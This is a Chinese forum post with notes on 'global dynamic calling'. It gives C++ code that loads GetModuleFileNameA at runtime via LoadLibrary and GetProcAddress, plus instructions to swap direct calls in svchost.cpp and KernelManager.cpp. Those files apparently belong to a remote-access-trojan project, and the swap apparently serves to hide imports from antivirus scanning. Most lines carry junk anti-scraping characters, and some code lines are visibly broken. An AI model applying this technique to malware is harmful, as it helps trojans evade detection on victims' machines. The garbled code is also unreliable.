[原创文章] 全局动态调用 全局, 动态

ice_xke

全局动态调用笔记( a  R! w+ Q. L0 o& _: y0 _5 z3 }2 C
svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h6 _9 s- ]( }' Q# r4 x
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DTDY.h：* T/ ]! J) H4 i& m  b8 p: w5 {# H

7 ?; Q$ O/ t- Y( A7 Q#if _MSC_VER>1000: R( w) P3 t' _4 T: T
#pragma once  u1 h; G0 f6 J+ p0 m' O
#endif //_MSC_VER>1000  ?3 T  v5 A. k9 R) H9 V  s4 ~8 s
#include<windows.h>
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  C$ G$ p7 i, J% ytypedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);2 m4 @# C- z! i6 T7 W3 ^
class DTDY1 A# G2 T# g3 [2 z% r
{* a6 F: u/ v: c1 {& @8 d) s
public:
. F& W# g# K# a/ b9 W9 T, `DTDY();( T, Y! P2 W; @5 s8 p) g3 m
virtual ~DTDY();
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static pGetModuleFileNameA MyGetModuleFileName;/ n. |2 E) o3 D+ L6 X
static BOOL FunInitiallization();0 A5 l1 ~  \" V* Z, E8 }+ c9 M
};1 x0 X& U4 }/ c4 A  S
#endif5 D. B8 e' M- J0 M8 w( i% Z& _
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DTDY.cpp:  K/ E+ V! I9 l, p2 P5 K$ |; Z2 E7 O

$ D$ t6 z' o0 l#include "DTDY.h"- k2 V" `8 n0 A* `& ?$ o& |& ~
pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;! P; \- o" ~2 s
DTDY:TDY()7 n6 Z( S* c" h
{
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8 y3 V& R, u/ c) E$ T+ PDTDY::~DTDY()2 f% F. J1 A3 p3 W; @' e; ~4 d
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}
) V: Q5 N4 h" r# H. [BOOL DTDY::FunInitiallization(), L& i. H. S2 L, W
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HMODULE hModule=LoadLibrary("kernel32.dll");
1 p5 W7 q2 b( Q5 k0 w. L, _MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
. H3 U- N3 l; ?5 Yif(!MyGetModuleFileName=) return FALSE;
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return TRUE;5 B" ^% F* T7 g( a. M& Q
}
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! ?7 I3 o+ K6 B, ~! esvchost.cpp:8 l% L5 `/ {2 I6 U* G, V
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#include "DTDY.h"
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9 V; M6 d# c7 q) `" @BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)8 \. |5 g  [5 P
{" E6 z: i* J% H4 E1 b/ }/ z
switch(ul_reason_for_call)
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case DLL_PROCESS_ATTACH:, ]7 Q. p. ]7 u, d$ o
if(!DTDY::FunInitiallization()) return FALSE;
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break;: N9 {! }5 h+ e% k
}
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4 ~) V+ K; h8 r3 D5 iGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def) M/ P! Y: f; ?) v1 B, D
改写为
# f% H! Y! s/ c9 X& @8 kDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));* D+ d- u( S8 R' B+ K, T3 ~' J
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3 e  U5 F4 L; x2 ^KernelManager.cpp:
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#include "../DTDY.h"9 q- i) J% f' R
GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));% a7 L( J* Y0 T7 x2 D4 ?2 n' g
改写为
% i; L6 E* m6 @DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
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